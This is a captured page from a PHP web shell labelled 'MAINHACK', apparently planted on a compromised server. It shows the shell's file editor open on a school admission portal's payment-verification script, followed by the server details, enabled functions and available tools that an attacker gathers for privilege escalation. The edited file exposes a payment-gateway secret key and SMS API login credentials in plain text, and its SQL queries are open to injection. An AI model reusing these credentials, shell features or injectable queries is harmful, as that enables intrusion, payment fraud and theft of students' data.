[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: paymentsuccess.php
<?php // ini_set('display_errors', 1); // ini_set('display_startup_errors', 1); // error_reporting(E_ALL); include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $stu_code = $_SESSION['index_no78897498']; function generateAccessCode($length = 8) { $characters = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; // avoid confusing chars like 0/O, 1/I $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[random_int(0, $charactersLength - 1)]; } return $randomString; } function getUniqueAccessCode($new, $length = 8) { do { $stu_code = $_SESSION['index_no78897498']; $code = generateAccessCode($length); $sql = "SELECT pid FROM stud_payment WHERE access_code = '$code' and indexNumber = '$stu_code' LIMIT 1"; $result = mysqli_query($new, $sql); } while (mysqli_num_rows($result) > 0); // keep generating until unique return $code; } if (isset($_GET['reference'])) { $reference = $_GET['reference']; // Example: BBCAS_0551234567_839201923 $parts = explode("_", $reference); $prefix = $parts[0]; // BBCAS $phone = $parts[1]; // phone number $uniqueId = $parts[2]; // random number $paystack_secret_key = 'sk_test_cb79a9b57ec6ce8a50498ee7db47561bde9d6f4a'; // Replace with your Paystack secret key // Get the transaction reference from the URL $reference = isset($_GET['reference']) ? $_GET['reference'] : ''; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.paystack.co/transaction/verify/" . urlencode($reference), CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ "Authorization: Bearer $paystack_secret_key", "Content-Type: application/json" ], )); // Execute cURL request $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { die('cURL Error: ' . $err); } // Decode the API response $result = json_decode($response, true); // Check if the verification was successful if ($result['status'] && $result['data']['status'] === 'success') { // Payment was successful $amount = $result['data']['amount'] / 100; // Convert back to GHS (or NGN) $email = $result['data']['customer']['email']; $reference = $result['data']['reference']; $indexxy = mysqli_query($new,"SELECT * FROM stud_payment WHERE indexNumber = '$stu_code'"); if(mysqli_num_rows($indexxy) > 1){ header("location:index"); exit(); } else { $indexx = mysqli_query($new,"SELECT * FROM enrol_generic WHERE indexNo = '$stu_code'"); $fetchsch = mysqli_fetch_array($indexx); $school_code = $fetchsch['s_code']; $newCode = getUniqueAccessCode($new); $senderID = "VITEGH"; // Replace with your desired sender ID $data = json_encode([ 'username' => "vitelogistics", 'password' => "vitelogis@2025", 'source' => $senderID, 'destination' => $phone, 'message' => "Your Access token code : $newCode .Use the access code to login to your portal", 'ol' => false, ]); $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => 'https://deywuro.com/api/sms', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => [ 'Accept: application/json', 'Content-Type: application/json', ], ]); $sms_response = curl_exec($curl); $sms_err = curl_error($curl); curl_close($curl); // Log SMS errors (optional, for debugging) if ($sms_err) { error_log("SMS API error for ticket $ticket_code: $sms_err"); } else { $sms_result = json_decode($sms_response, true); if (!$sms_result || !isset($sms_result['status']) || $sms_result['status'] !== 'success') { error_log("SMS API failed for ticket $ticket_code: " . ($sms_result['message'] ?? 'Unknown error')); } } $pstatus = "Paid"; $date = date("Y-m-d"); $save = mysqli_query($new,"INSERT INTO stud_payment(s_code,indexNumber,amount,pstatus,datepaid,transaction_id,access_code)VALUES('".$school_code."','".$stu_code."','".$amount."','".$pstatus."','".$date."','".$reference."','".$newCode."')"); } } else { // Payment failed or verification unsuccessful $error_message = isset($result['message']) ? $result['message'] : 'Transaction verification failed.'; echo "Error: $error_message"; } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Makepayment | Online Admission Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="elisof" name="author" /> <!-- App favicon --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <script src="https://js.paystack.co/v1/inline.js"></script> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <?php if (empty($reference)) { http_response_code(400); // Bad Request ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Payment Error</title> <style> body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f8f9fa; } .error-container { text-align: center; padding: 20px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .error-container h1 { color: #dc3545; font-size: 24px; } .error-container p { color: #333; font-size: 16px; } .error-container a { display: inline-block; margin-top: 10px; padding: 10px 20px; background-color: #007bff; color: #fff; text-decoration: none; border-radius: 4px; } .error-container a:hover { background-color: #0056b3; } </style> </head> <body> <div class="error-container"> <h1>Payment Error</h1> <p>No transaction reference provided. Please try again.</p> <a href="index.php">Return to Home</a> </div> </body> </html> <?php } else { ?> <?php header("location: index"); ?> <!-- end --> <?php } ?> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002